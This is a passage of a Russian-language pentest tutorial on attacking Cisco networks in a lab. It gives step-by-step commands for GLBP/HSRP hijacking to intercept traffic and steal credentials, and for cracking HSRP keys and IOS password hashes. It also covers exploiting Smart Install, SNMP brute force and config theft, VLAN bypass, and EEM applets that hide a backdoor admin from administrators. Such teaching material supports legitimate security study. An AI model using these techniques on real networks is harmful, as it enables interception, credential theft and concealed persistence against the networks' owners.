менять­ся в  зависи­мос­ти от  наг­рузки на  физичес­кий канал (задей­ство­ван механизм Object
Tracking), но мож­но нас­тро­ить его и вруч­ную.

GLBP Virtual IP Address  — вир­туаль­ный IP-адрес в  домене GLBP. Исполь­зует­ся в  качес­тве


адре­са шлю­за по умол­чанию для легитим­ных хос­тов.

Для тран­сля­ции и  обра­бот­ки слу­жеб­ной информа­ции GLBP исполь­зует зарезер­вирован­ный


IP-адрес груп­повой рас­сылки 224.0.0.102 и  про­токол тран­спортно­го уров­ня UDP
под  номером пор­та  3222. Спе­циаль­ные пакеты при­ветс­твия GLBP Hello отправ­ляют­ся каж-­
дые три секун­ды. Если в течение десяти секунд GLBP-мар­шру­тиза­тор не получил пакет при-­
ветс­твия от соседа, то сосед будет приз­нан «мер­твым» и выпадет из домена GLBP.

GLBP Hijacking
Тех­ника этой сетевой ата­ки зак­люча­ется в том, что­бы навязать свое устрой­ство в качес­тве
глав­ного мар­шру­тиза­тора с помощью инъ­екции вре­донос­ного пакета GLBP с мак­сималь­ным
зна­чени­ем при­ори­тета. Успешная экс­плу­ата­ция при­водит к  DoS- или  MITM-ата­ке, в  резуль-­
тате которой ты смо­жешь перех­ватить тра­фик внут­ри сети, про­вес­ти редирект или выз­вать
DoS, так как  ты зах­ватыва­ешь роль AVG-мар­шру­тиза­тора. Дос­таточ­но соб­рать GLBP-пакет
с наивыс­шим зна­чени­ем при­ори­тета 255 и нап­равить его в сто­рону локаль­ной сети.

Как будет ходить тра­фик до про­веде­ния ата­ки

Как будет ходить тра­фик пос­ле про­веде­ния ата­ки

Loki
Для демонс­тра­ции этой ата­ки я буду исполь­зовать Loki. Он выпол­нит вре­донос­ную GLBP-
инъ­екцию с  мак­сималь­ным зна­чени­ем при­ори­тета  255  и  мак­сималь­ным зна­чени­ем
веса 255. Но перед про­веде­нием ата­ки нуж­но изу­чить сле­дующую информа­цию:

• вир­туаль­ный IP-адрес, исполь­зующий­ся в GLBP-домене;


• на­личие аутен­тифика­ции;
• зна­чение при­ори­тетов мар­шру­тиза­торов.

Эту информа­цию мы смо­жем извлечь с  помощью ана­лиза тра­фика GLBP. Вос­поль­зуем­ся


Wireshark.

Как видим, в  про­цес­се GLBP задей­ство­ваны толь­ко два мар­шру­тиза­тора:


10.10.100.100 и 10.10.100.200.

GLBP-объ­явле­ния от двух мар­шру­тиза­торов


Ин­форма­ция о кон­фигура­ции GLBP пер­вого мар­шру­тиза­тора

Ин­форма­ция о кон­фигура­ции GLBP вто­рого мар­шру­тиза­тора

Пос­ле ана­лиза GLBP-тра­фика мы име­ем сле­дующее:

• об­наруже­на мис­конфи­гура­ция в  рам­ках нас­трой­ки при­ори­тетов. AVG-роуте­ром счи-­


тает­ся GLBP-мар­шру­тиза­тор с при­ори­тетом 200, то есть век­тор для уго­на GLBP у нас
есть;
• от­сутс­тву­ет аутен­тифика­ция;
• вир­туаль­ный IP-адрес, исполь­зующий­ся в GLBP-домене — 10.10.100.254.

Об­ладая этой инфой, мы можем без тру­да ата­ковать GLBP. Рас­чехля­ем Loki.

Loki обна­ружил объ­явле­ния GLBP с двух мар­шру­тиза­торов

Пе­ред про­веде­нием ата­ки перек­люча­емся в  нераз­борчи­вый режим и  раз­реша­ем мар­шру-­


тиза­цию тра­фика:

necreas1ng@Inguz:~$ sudo ifconfig eth0 promisc

necreas1ng@Inguz:~$ sudo sysctl -w net.ipv4.ip_forward=1

Вы­бира­ем мар­шру­тиза­тор под IP-адре­сом 10.10.100.100 и акти­виру­ем опцию Get IP. Так­же


нуж­но сге­нери­ровать Gratuitous ARP.

На­чало ата­ки

Стро­ение вре­донос­ной GLBP-инъ­екции

Как видим, теперь AVG-роуте­ром прит­воря­ется ата­кующая сис­тема. Зна­чение при­ори-­


тета 255, зна­чение веса — 255, то есть мак­сималь­ные.

Пос­ле выпол­нения инъ­екции необ­ходимо соз­дать вто­рич­ный IP-адрес на  нашем сетевом
интерфей­се со  зна­чени­ем вир­туаль­ного IP-адре­са в  домене GLBP. Так­же нуж­но задать  24-
бит­ную мас­ку. Так легитим­ный тра­фик будет завора­чивать­ся на  нас, пос­коль­ку исполь-­
зующий­ся вир­туаль­ный IP-адрес в  домене GLBP явля­ется адре­сом шлю­за по  умол­чанию
для хос­тов.

necreas1ng@Inguz:~$ sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0

Что­бы видеть не  толь­ко вхо­дящий тра­фик, но  и исхо­дящий, нам понадо­бит­ся неболь­шое
пра­вило для Source NAT (masquerading):

necreas1ng@Inguz:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Так­же нуж­но уда­лить мар­шрут по умол­чанию на нашей машине и про­писать новый, который
будет ходить через быв­ший AVG-мар­шру­тиза­тор (его адрес  — 10.10.100.100). Даже нес-­
мотря на  то, что мы отжа­ли AVG-роль у  мар­шру­тиза­тора, он все рав­но смо­жет выпол­нить
мар­шру­тиза­цию тра­фика.

necreas1ng@Inguz:~$ sudo route del default

necreas1ng@Inguz:~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100

Вот и  все, теперь мы ста­ли тем самым «челове­ком посере­дине»! Запущу инс­тру­мент net-
creds.py для  ана­лиза тра­фика, что­бы поис­кать важ­ные дан­ные. Нап­ример, незашиф­рован-­
ный FTP-тра­фик или NTLM-хеши.

necreas1ng@Inguz:~$ sudo python2 net-creds-master/net-creds.py -i eth0

Пос­ле запус­ка ути­литы поп­робую про­честь SMB-шару с IP-адре­сом 172.16.100.70, которую


находят GLBP-мар­шру­тиза­торы.

user@Boundless:~$ smbclient -L \\172.16.100.70 --user mercy

Пе­рех­вачен­ный NTLM-хеш поль­зовате­ля mercy

Вот таким обра­зом мож­но перех­ватывать тра­фик внут­ри сети, ата­куя домены GLBP.

Угон HSRP и перехват трафика


HSRP (Hot Standby Router/Redundancy Protocol)  — проп­риетар­ный про­токол Cisco, который
поз­воля­ет обес­печить избы­точ­ность сетево­го шлю­за. Общая идея зак­люча­ется в том, что­бы
объ­еди­нить нес­коль­ко физичес­ких мар­шру­тиза­торов в  один логичес­кий с  общим IP-адре-­
сом. Этот адрес вир­туаль­ного мар­шру­тиза­тора будет наз­начать­ся на интерфейс мар­шру­тиза-­
тора с  гла­венс­тву­ющей ролью, а  тот, в  свою оче­редь, зай­мет­ся фор­вардин­гом тра­фика.
В  домене HSRP задача обра­бот­ки все­го тра­фика ложит­ся имен­но на  мар­шру­тиза­тор с  гла-­
венс­тву­ющей ролью, в  отли­чие от  GLBP, где пред­лагалось рас­пре­деле­ние наг­рузки за  счет
исполь­зования спе­циаль­ных мет­рик (при­ори­тет и вес).

Роли в HSRP-домене и терминология


• HSRP Active Router  — устрой­ство, игра­ющее роль вир­туаль­ного мар­шру­тиза­тора
и обес­печива­ющее фор­вардинг тра­фика из сетей источни­ка до сетей наз­начения.
• HSRP Standby Router  — устрой­ство, игра­ющее роль резер­вно­го мар­шру­тиза­тора,
которое ожи­дает отка­за активно­го мар­шру­тиза­тора. Пос­ле падения основно­го
Active-роуте­ра Standby-роутер возь­мет на  себя гла­венс­тву­ющую роль и  будет
занимать­ся обя­зан­ностя­ми Active-роуте­ра.
• HSRP Group — груп­па устрой­ств, которая обес­печива­ет работу и отка­зоус­той­чивость
логичес­кого мар­шру­тиза­тора.
• HSRP MAC Address  — вир­туаль­ный MAC-адрес логичес­кого мар­шру­тиза­тора
в домене HSRP.
• HSRP Virtual IP Address  — это  спе­циаль­ный вир­туаль­ный IP-адрес в  груп­пе HSRP.
Этот IP-адрес будет шлю­зом по  умол­чанию для  конеч­ных хос­тов, исполь­зует­ся
на самом логичес­ком мар­шру­тиза­торе.

Версии протокола HSRP


У про­токо­ла HSRP есть две вер­сии  — HSRPv1  и  HSRPv2. Они отли­чают­ся сле­дующи­ми
парамет­рами:

• ко­личес­тво воз­можных логичес­ких групп. В  HSRPv1  их может быть до  255.


У HSRPv2 количес­тво групп может дос­тигать 4096;
• IP-адрес муль­тикас­товой рас­сылки. HSRPv1 для тран­сля­ции слу­жеб­ной информа­ции
исполь­зует IP-адрес 224.0.0.2, а HSRPv2 — 224.0.0.102;
• вир­туаль­ный MAC-адрес. HSRPv1  в  качес­тве вир­туаль­ного MAC-адре­са исполь­зует
00:00:0C:07:AC:XX. У HSRPv2 вир­туаль­ный MAC-адрес 00:00:0C:9F:FX:XX (где XX —
это номер груп­пы HSRP).

Для тран­сля­ции и обра­бот­ки слу­жеб­ной информа­ции HSRP исполь­зует зарезер­вирован­ный


IP-адрес груп­повой рас­сылки 224.0.0.2 или  224.0.0.102 (в зависи­мос­ти от  вер­сии HSRP)
и про­токол тран­спортно­го уров­ня UDP с номером пор­та 1985. Спе­циаль­ные пакеты при­ветс-­
твия HSRP Hello отправ­ляют­ся каж­дые три секун­ды. Если в  течение десяти секунд HSRP-
мар­шру­тиза­тор не получил пакет при­ветс­твия от соседа, то сосед будет приз­нан «мер­твым»
и выпадет из домена HSRP.

HSRP Hijacking
Здесь абсо­лют­но все то же самое, что с GLBP Hijacking. Нам необ­ходимо про­вес­ти вре­донос-­
ную HSRP-инъ­екцию с мак­сималь­ным зна­чени­ем при­ори­тета 255. Это поз­воля­ет зах­ватить
роль Active-мар­шру­тиза­тора, что откры­вает воз­можнос­ти для  MITM-ата­ки. Но  опять же
перед про­веде­нием ата­ки нам нуж­но изу­чить сле­дующую информа­цию:

• вир­туаль­ный IP-адрес, исполь­зующий­ся в HSRP-домене;


• на­личие аутен­тифика­ции;
• зна­чение при­ори­тетов мар­шру­тиза­торов.

Эту информа­цию мы смо­жем извлечь с  помощью ана­лиза тра­фика HSRP. Вос­поль­зуем­ся


Wireshark.

Как вид­но на  скрин­шоте, в  про­цес­се HSRP задей­ство­ваны толь­ко два мар­шру­тиза­тора
с адре­сами 10.10.100.100 и 10.10.100.200.

HSRP-объ­явле­ния от двух мар­шру­тиза­торов

Информация о первом HSRP-маршрутизаторе


Ин­форма­ция о пер­вом HSRP-мар­шру­тиза­торе

Информация о втором HSRP-маршрутизаторе


Ин­форма­ция о вто­ром HSRP-мар­шру­тиза­торе

Ис­ходя из ана­лиза HSRP-тра­фика, мы име­ем сле­дующее:

• об­наруже­на мис­конфи­гура­ция в  рам­ках нас­трой­ки при­ори­тетов. Active-роуте­ром


счи­тает­ся HSRP-мар­шру­тиза­тор с  при­ори­тетом  200, то есть век­тор для  уго­на HSRP
у нас есть;
• ис­поль­зуемый вир­туаль­ный IP-адрес в HSRP-домене — 10.10.100.254;
• ис­поль­зует­ся MD5-аутен­тифика­ция.

На­личие аутен­тифика­ции в домене свя­зыва­ет нам руки, но ско­ро я это исправ­лю.

Authentication Bypassing
Дамп тра­фика HSRP сох­раня­ем в  фор­мате .pcap, что­бы эксфиль­тра­тор смог кор­рек­тно
извлечь хеши MD5 из дам­па.

В качес­тве эксфиль­тра­тора я буду исполь­зовать hsrp2john.py:

necreas1ng@Inguz:~/cisconightmare/exfiltrate$ python2 hsrp2john.py hsrp_with_auth

Извлеченные из дампа HSRP-трафика хеши MD5


Из­вле­чен­ные из дам­па HSRP-тра­фика хеши MD5

Хе­ши я сбру­чу с помощью John the Ripper, ука­жем сами хеши в качес­тве вход­ных дан­ных. А с
помощью клю­ча --wordlist ука­жу путь до сло­варя:

necreas1ng@Inguz:~/cisconightmare/exfiltrate$ john hsrp_hashes --wordlist=wordlis

Взломанный пароль от домена HSRP


Взло­ман­ный пароль от домена HSRP

В ито­ге мы име­ем ключ для вхо­да в домен HSRP — endgame.

Loki
Для ата­ки на про­токол HSRP буду исполь­зовать все тот же Loki. У него, помимо про­чего, есть
воз­можность инжекта с клю­чом, что помога­ет обхо­дить аутен­тифика­цию. Рань­ше, в раз­деле
HSRP Hijacking, мы получи­ли всю необ­ходимую информа­цию о домене HSRP.

За­пус­каем Loki.

Loki обнаружил HSRP-объявления


Loki обна­ружил HSRP-объ­явле­ния

Не забыва­ем перед  про­веде­нием ата­ки перек­лючить­ся в  нераз­борчи­вый режим и  раз-


решить мар­шру­тиза­цию тра­фика:

necreas1ng@Inguz:~$ sudo ifconfig eth0 promisc

necreas1ng@Inguz:~$ sudo sysctl -w net.ipv4.ip_forward=1

Вы­бира­ем мар­шру­тиза­тор с адре­сом 10.10.100.100 и при­ори­тетом 200. В качес­тве парамет­ра


Secret вво­дим взло­ман­ный пароль от  домена HSRP, генери­руем Gratuitous ARP и  выбира­ем
опцию Get IP.

Начало атаки
На­чало ата­ки

Строение вредоносной HSRP-инъекции


Стро­ение вре­донос­ной HSRP-инъ­екции

Как мы видим, теперь Active-роуте­ром явля­ется наша ата­кующая сис­тема. Зна­чение при­ори-­
тета — 255.

Пос­ле выпол­нения инъ­екции необ­ходимо соз­дать вто­рич­ный IP-адрес на  нашем сетевом
интерфей­се со  зна­чени­ем вир­туаль­ного IP-адре­са в  HSRP-домене. Так­же нуж­но ука­зать  24-
бит­ную мас­ку. Таким обра­зом, легитим­ный тра­фик будет завора­чивать­ся на нас, пос­коль­ку
при­меня­емый вир­туаль­ный IP-адрес в  домене HSRP  — это  адрес шлю­за по  умол­чанию
для хос­тов.

necreas1ng@Inguz:~$ sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0

Нас­тра­иваем извес­тный нам Source NAT (masquerading) для перех­вата все­го тра­фика:

necreas1ng@Inguz:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Уда­ляем мар­шрут по  умол­чанию на  нашей машине и  про­писы­ваем новый, который будет
ходить через быв­ший Active-мар­шру­тиза­тор (его адрес 10.10.100.100). Даже нес­мотря
на то, что мы отжа­ли активную роль у мар­шру­тиза­тора, он все рав­но смо­жет выпол­нить мар-­
шру­тиза­цию тра­фика.

necreas1ng@Inguz:~$ sudo route del default

necreas1ng@Inguz:~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100

Те­перь мы «человек посере­дине». Запус­каем net-creds.py:

necreas1ng@Inguz:~$ sudo python2 net-creds-master/net-creds.py -i eth0

Пос­ле запус­ка ути­литы я вос­про­изве­ду попыт­ку прой­ти аутен­тифика­цию на  сер­вере FTP
по адре­су 172.16.100.140.

user@Boundless:~$ ftp 172.16.100.140

Перехваченные креды от FTP-сервера


Пе­рех­вачен­ные кре­ды от FTP-сер­вера

В ито­ге получа­ем кре­ды от сер­вера FTP: insomnia:betrayal.

Вот так мож­но ата­ковать домен HSRP и  перех­ватывать тра­фик. В  прин­ципе, все похоже
на GLBP.

ЭКСПЛУАТАЦИЯ CISCO SMART INSTALL


Cisco Smart Install — это Cisco, приз­ванный авто­мати­зиро­вать про­цесс пер­воначаль­ной кон-­
фигура­ции и  заг­рузки обра­за опе­раци­онной сис­темы для  нового обо­рудо­вания Cisco.
По  умол­чанию Cisco Smart Install акти­вен на  обо­рудо­вании Cisco и  исполь­зует про­токол
тран­спортно­го уров­ня — TCP с номером пор­та 4786.

В 2017 году в этом про­токо­ле наш­ли кри­тичес­кую уяз­вимость CVE-2018-0171. Уро­вень опас-­


ности — 9,8 бал­ла по шка­ле CVSS.

Спе­циаль­но соб­ранный пакет, который отправ­ляет­ся на  порт TCP/4786, где акти­вен Cisco
Smart Install, триг­герит перепол­нение буфера, вследс­твие чего зло­умыш­ленник смо­жет:

• при­нуди­тель­но перезаг­рузить устрой­ство;


• выз­вать RCE;
• по­хитить кон­фигура­ции сетево­го обо­рудо­вания.

Для экс­плу­ата­ции этой уяз­вимос­ти был раз­работан инс­тру­мент SIET (Smart Install
Exploitation Tool), он поз­воля­ет абь­юзить Cisco Smart Install. В этой статье я покажу, как мож-­
но счи­тать легитим­ный файл кон­фигура­ции сетево­го обо­рудо­вания. Эксфиль­тра­ция кон-­
фигов может быть цен­на для пен­тесте­ра, пос­коль­ку он узна­ет об уни­каль­ных осо­бен­ностях
сети. А это облегчит жизнь и поз­волит най­ти новые век­торы для ата­ки.

В качес­тве целево­го устрой­ства выс­тупит «живой» ком­мутатор Cisco Catalyst 2960. На  вир-­
туаль­ных обра­зах нет Cisco Smart Install, поэто­му поп­ракти­ковать­ся удас­тся толь­ко на  нас-­
тоящем железе.

Ад­рес целево­го ком­мутато­ра — 10.10.100.10, CSI акти­вен. Заг­ружа­ем SIET и начина­ем ата-­
ку. Аргу­мент -g озна­чает эксфиль­тра­цию кон­фигура­ции с устрой­ства, аргу­мент -i поз­воля­ет
задать IP-адрес уяз­вимой цели.

necreas1ng@Inguz:~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10

Успешная эксплуатация уязвимости


Ус­пешная экс­плу­ата­ция уяз­вимос­ти

Кон­фиг ком­мутато­ра 10.10.100.10 будет находить­ся в пап­ке tftp/.

Часть содержимого конфигурации коммутатора


Часть содер­жимого кон­фигура­ции ком­мутато­ра

ЭКСФИЛЬТРАЦИЯ КОНФИГУРАЦИИ И ПЕРЕЧИСЛЕНИЕ ЧЕРЕЗ SNMP


SNMP (Simple Network Management Protocol)  — про­токол, который поз­воля­ет отсле­живать
сос­тояние устрой­ств в  компь­ютер­ной сети. Это  может быть сетевое обо­рудо­вание, IP-
телефо­ны, кор­поратив­ные сер­веры или что‑то еще.

SNMP исполь­зует про­токол тран­спортно­го уров­ня UDP с  номера­ми пор­тов  161/UDP


и  162/UDP. Для  обра­щения аген­тов SNMP к  сер­веру исполь­зуют­ся так называ­емые
community strings. Это, ска­жем так, спе­циаль­ные пароли для  вза­имо­дей­ствия с  SNMP-сер-­
вером. У  community strings есть пра­ва либо RO (read-only, толь­ко чте­ние), либо RW (read-
write — и чте­ние, и запись).

На самом деле SNMP может не толь­ко отсле­живать сос­тояние обо­рудо­вания, но и пол­ноцен-­
но им управлять: дам­пить кон­фиги, изме­нять кон­фигура­цию и  так далее. Если пен­тестер
смо­жет переб­рать зна­чение community strings, он фак­тичес­ки получа­ет дос­туп к  обо­рудо-­
ванию. Впро­чем, все зависит от того, какую стро­ку он сбру­тит — на RO или на RW.

WWW
Ра­боту про­токо­ла SNMP я опи­сал в общих чер­тах, рекомен­дую
тебе изу­чить сле­дующие матери­алы, что­бы было понят­нее,
как работа­ет SNMP под капотом.
Simple Network Management Protocol (Wikipedia)
Network Basics: What Is SNMP and How Does It Work?

Брут­форс community-строк мож­но реали­зовать с помощью ути­литы onesixtyone. В качес­тве


вход­ных дан­ных она будет при­нимать сло­варь для  брут­форса и  IP-адре­са целевых хос­тов.
В качес­тве целей выс­тупят:

• 10.10.100.10 — ком­мутатор Cisco vIOS;


• 10.10.100.254 — мар­шру­тиза­тор Cisco vIOS.

necreas1ng@Inguz:~/snmp$ onesixtyone -c communitystrings -i targets

Выяснены значения community strings


Вы­ясне­ны зна­чения community strings

Мы выяс­няли, какие community strings исполь­зуют­ся на тех устрой­ствах. Это откры­вает нам


дорогу для экс­плу­ата­ции.

cisco_config_tftp
С помощью фрей­мвор­ка Metasploit, а имен­но модуля cisco_config_tftp мож­но выдер­нуть
кон­фигура­цию устрой­ства, зная зна­чение community string. Стро­ка, име­ющая пра­ва на RW, —
private.

Нам понадо­бит­ся сле­дующее:

• зна­чение стро­ки, име­ющей пра­ва на RW (COMMUNITY);


• IP-адрес ата­кующей сис­темы (LHOST);
• IP-адрес целево­го обо­рудо­вания (RHOSTS);
• путь, по которо­му модуль выведет кон­фигура­цию устрой­ства (OUTPUTDIR).

msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set COMMUNITY private

msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set RHOSTS 10.10.100.10

msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set LHOST 10.10.100.50

msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set OUTPUTDIR /home/necreas1ng/s

msf6 auxiliary(scanner/snmp/cisco_config_tftp) > exploit

Пос­ле запус­ка модуля в ука­зан­ную пап­ку будет выкача­на кон­фигура­ция хос­та с адре­сом 10.
10.100.10 (10.10.100.10.txt).

Часть содержимого конфигурации оборудования SW1


Часть содер­жимого кон­фигура­ции обо­рудо­вания SW1

snmp_enum
С помощью это­го модуля мож­но узнать информа­цию о целевом обо­рудо­вании. Все абсо­лют-­
но то же самое: ука­зыва­ем COMMUNITY (кста­ти, подой­дет даже стро­ка с  пра­вами RO) и  IP-
адрес целево­го устрой­ства.

msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public

msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10

msf6 auxiliary(scanner/snmp/snmp_enum) > exploit

Информация об устройстве, полученная через SNMP


Ин­форма­ция об устрой­стве, получен­ная через SNMP

ПОСТЭКСПЛУАТАЦИЯ ВЗЛОМАННОГО УСТРОЙСТВА


 

Bruteforce hashes
Ког­да ты перечис­ляешь кон­фигура­цию устрой­ства, есть смысл попытать­ся сбру­тить хеши
паролей. Вдруг тебе удас­тся сбру­тить хеш пароля той учет­ной записи, которая име­ет мак-­
сималь­ные при­виле­гии. В  Cisco IOS есть нес­коль­ко типов паролей, которые хра­нят­ся
в  зашиф­рован­ном виде. Таб­личка ниже сори­енти­рует тебя по  типам хешей, как  бру­тить
и сколь­ко вре­мени понадо­бит­ся.

Таблица хешей в Cisco IOS


Таб­лица хешей в Cisco IOS

Те­перь прис­тупа­ем к  самому брут­форсу. В  выводе коман­ды show run ты навер­няка нат-­
кнешь­ся на эти строч­ки.

Учетные записи и их пароли в зашифрованном виде


Учет­ные записи и их пароли в зашиф­рован­ном виде

Брут­форс хешей я про­веду через ути­литу John the Ripper. Нем­ного отформа­тирую хеши, что-­
бы «Джон» смог рас­познать сами хеши внут­ри фай­ла, который мы будем подавать в качес-­
тве вход­ных дан­ных.

Хеши перед форматированием


Хе­ши перед фор­матиро­вани­ем

Хеши после форматирования


Хе­ши пос­ле фор­матиро­вания

На­чина­ем брут­форс. С помощью клю­ча --wordlist ука­зыва­ем путь до сло­варя. «Джон» сам
опре­делит тип хешей внут­ри фай­ла.

Взломанные пароли пользователей lies и anxious


Взло­ман­ные пароли поль­зовате­лей lies и anxious

По­лучен­ные кре­ды: anxious:Secret123 , lies:P@ssw0rd.

Поп­робу­ем зай­ти на мар­шру­тиза­тор 10.10.10.100 от име­ни поль­зовате­ля lies.

Вход в панель управления маршрутизатором от имени lies


Вход в панель управле­ния мар­шру­тиза­тором от име­ни lies

Cisco EEM
Cisco EEM — это, ска­жем так, «язык прог­рамми­рова­ния», с помощью которо­го мож­но писать
сце­нарии для Cisco IOS и авто­мати­зиро­вать рутин­ные задачи. В рам­ках пен­теста Cisco EEM
поможет нам спря­тать соз­данно­го нами поль­зовате­ля на взло­ман­ном устрой­стве.

Но! У такого метода есть и свои недос­татки:

• есть неболь­шая веро­ятность спа­лить­ся в логах сер­вера SYSLOG или SNMP;


• ес­ли сетевой инже­нер тоже исполь­зует Cisco EEM, он может заподоз­рить что‑то
нелад­ное.

Сна­чала нам нуж­но соз­дать самого поль­зовате­ля, который будет при­менять­ся для зак­репле-­
ния на обо­рудо­вании. Сле­ди, что­бы у ника тоже был пре­фикс hidden_. С помощью это­го пре-­
фик­са мы и будем пря­тать соз­данно­го нами поль­зовате­ля по мас­ке | hidden:

Owned(config)# username hidden_grimoire privilege 15 secret youcantseewhatyouwann

Прячемся от вывода команды show run


Эту коман­ду очень час­то при­меня­ют сетевые инже­неры, она выводит кон­фигура­цию устрой-­
ства, которая исполь­зует­ся в дан­ный момент.

Owned(config)# event manager applet hide_from_showrun


Owned(config-applet)# event cli pattern "show run" sync yes
Owned(config-applet)# action 0.0 cli command "enable"
Owned(config-applet)# action 1.0 cli command "show run | exclude hidden | event |
Owned(config-applet)# action 2.0 puts "$_cli_result_showrunapplet"

Прячемся от вывода команды show ssh


А эта коман­да выводит активных в  дан­ный момент поль­зовате­лей, под­клю­чен­ных через
SSH.

Owned(config)# event manager applet hide_from_showssh


Owned(config-applet)# event cli pattern "show ssh" sync yes
Owned(config-applet)# action 0.0 cli command "enable"
Owned(config-applet)# action 1.0 cli command "show ssh | exclude hidden"
Owned(config-applet)# action 2.0 puts "$_cli_result_showsshapplet"

Прячемся от вывода команды show users


Вы­водит активных в  дан­ный момент поль­зовате­лей, под­клю­чен­ных через VTY. Обыч­но
это уда­лен­ные сес­сии Telnet и SSH.

Owned(config)# event manager applet hide_from_showusers


Owned(config-applet)# event cli pattern "show users" sync yes
Owned(config-applet)# action 0.0 cli command "enable"
Owned(config-applet)# action 1.0 cli command "show users | exclude hidden"
Owned(config-applet)# action 2.0 puts "$_cli_result_showusersapplet"

Прячемся от вывода команды show log (локальное логирование Cisco IOS)


Owned(config)# event manager applet hide_from_showlog
Owned(config-applet)# event cli pattern "show log" sync yes
Owned(config-applet)# action 0.0 cli command "enable"
Owned(config-applet)# action 1.0 cli command "show log | exclude HA_EM | hidden"
Owned(config-applet)# action 2.0 puts "$_cli_result_showlogapplet"

У аппле­тов EEM мно­го инте­рес­ных фун­кций, советую не  огра­ничи­вать­ся эти­ми спо­соба­ми.
Толь­ко не доведи бед­ного сетеви­ка до инфар­кта с эти­ми аппле­тами!

Lateral VLAN Segmentation Bypass


Ес­ли ты получил дос­туп к  ком­мутато­ру, к  которо­му ты под­клю­чен нап­рямую, у  тебя появ-­
ляет­ся воз­можность обхо­да VLAN-сег­мента­ции внут­ри сети. Дос­таточ­но перек­лючить порт
в  режим магис­траль­ного канала (ина­че называ­емый тран­ком), соз­дать вир­туаль­ные
интерфей­сы с  иден­тифика­тора­ми целевых VLAN-сетей и  нас­тро­ить IP-адрес. Мож­но поп-­
робовать зап­росить адрес динами­чес­ки (DHCP), а  мож­но нас­тро­ить ста­тичес­ки. Смот­ря
какой слу­чай.

Сна­чала нуж­но выяс­нить, к  какому имен­но пор­ту ты под­клю­чен. Это  дела­ется через CDP-
сооб­щения, либо можешь поис­кать порт по мас­ке include.

CDP-объявление от коммутатора. Мы на порте GigabitEthernet 0/2


CDP-объ­явле­ние от ком­мутато­ра. Мы на пор­те GigabitEthernet 0/2

Ес­ли вдруг CDP отклю­чен, мож­но поп­робовать поис­кать порт по нашему MAC-адре­су.

SW1(config)# show mac address-table | include 0050.0000.0500

Найден порт Gi0/2 по MAC-адресу


Най­ден порт Gi0/2 по MAC-адре­су

Пе­ред тем как перек­лючить­ся в режим тран­ка, необ­ходимо перечис­лить сущес­тву­ющие сети


VLAN, выяс­нить их иден­тифика­торы. Потом эти иден­тифика­торы мы будем вешать на свой
интерфейс, что­бы получать дос­туп к  сетям VLAN. Таким обра­зом, бла­года­ря тран­ку мы
можем получить дос­туп в  любую сеть VLAN. Кста­ти говоря, порт, к  которо­му мы под­клю-­
чены, при­над­лежит сети VLAN 10.

SW1# show vlan brief

Ин­форма­ция о текущих сетях VLAN

Прис­тупим. Вхо­дим в режим кон­фигура­ции интерфей­са и перехо­дим в тран­ковый режим.

SW1(config)# interface GigabitEthernet 0/2


SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk

Во вре­мя перек­лючения в  режим магис­траль­ного канала теря­ется связ­ность. Но  ско­ро я


это исправ­лю.

Потеря связности в момент переключения режима порта


По­теря связ­ности в момент перек­лючения режима пор­та

Соз­даем вир­туаль­ные интерфей­сы и «веша­ем» на них VLAN ID, а затем под­нима­ем их.

necreas1ng@Inguz:~$ sudo vconfig add eth0 10

necreas1ng@Inguz:~$ sudo vconfig add eth0 20

necreas1ng@Inguz:~$ sudo vconfig add eth0 50

necreas1ng@Inguz:~$ sudo vconfig add eth0 60

necreas1ng@Inguz:~$ sudo ifconfig eth0.10 up

necreas1ng@Inguz:~$ sudo ifconfig eth0.20 up

necreas1ng@Inguz:~$ sudo ifconfig eth0.50 up

necreas1ng@Inguz:~$ sudo ifconfig eth0.60 up

Те­перь нуж­но зап­росить адрес по DHCP. Но если в тво­ем слу­чае не будет такой воз­можнос-­
ти, мож­но нас­тро­ить адрес ста­тичес­ки.

necreas1ng@Inguz:~$ sudo dhclient -v eth0.10

necreas1ng@Inguz:~$ sudo dhclient -v eth0.20

necreas1ng@Inguz:~$ sudo dhclient -v eth0.50

necreas1ng@Inguz:~$ sudo dhclient -v eth0.60

Полученные по DHCP адреса


По­лучен­ные по DHCP адре­са

При­мер нас­трой­ки ста­тичес­кого IP-адре­са на интерфей­се (VLAN 10):

necreas1ng@Inguz:~$ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0

Для про­вер­ки свя­зи ини­циирую ICMP-зап­росы до шлю­зов по умол­чанию для сетей VLAN 10,
20, 50, 60.

Связность до шлюзов
Связ­ность до шлю­зов

В ито­ге я обо­шел VLAN-сег­мента­цию и могу про­бить­ся в любую VLAN-сеть, что раз­вязыва­ет


мне руки для сле­дующих шагов.

Configuration Enumeration
Классическое перечисление конфигурации
С помощью коман­ды show run мож­но выяс­нить, какая кон­фигура­ция исполня­ется в дан­ный
момент. Это рас­кры­вает некото­рые осо­бен­ности инфраструк­туры. Воз­можно, эта информа-­
ция при­ведет тебя к  более лег­кой «победе» во  вре­мя пен­теста. Нап­ример, вдруг ты обна-­
ружишь исполь­зование AAA-сер­вера, что дает еще один век­тор ата­ки.

Owned# show run

Перечисление конфигурации, часть 1


Пе­речис­ление кон­фигура­ции, часть 1

Перечисление конфигурации, часть 2


Пе­речис­ление кон­фигура­ции, часть 2

Cisco IOS ver. enumeration


Бу­дет полез­но узнать вер­сию Cisco IOS на  устрой­стве. С  помощью этой информа­ции пен-­
тестер смо­жет переб­рать вер­сию Cisco IOS и, узнав ее, экс­плу­ати­ровать уяз­вимос­ти. Вдруг
он попал на роутер с учет­кой read-only, а потен­циаль­ное наличие уяз­вимос­ти даст ему LPE?
Кто зна­ет...

Owned# show version

Версия Cisco vIOS


Вер­сия Cisco vIOS

CCAT
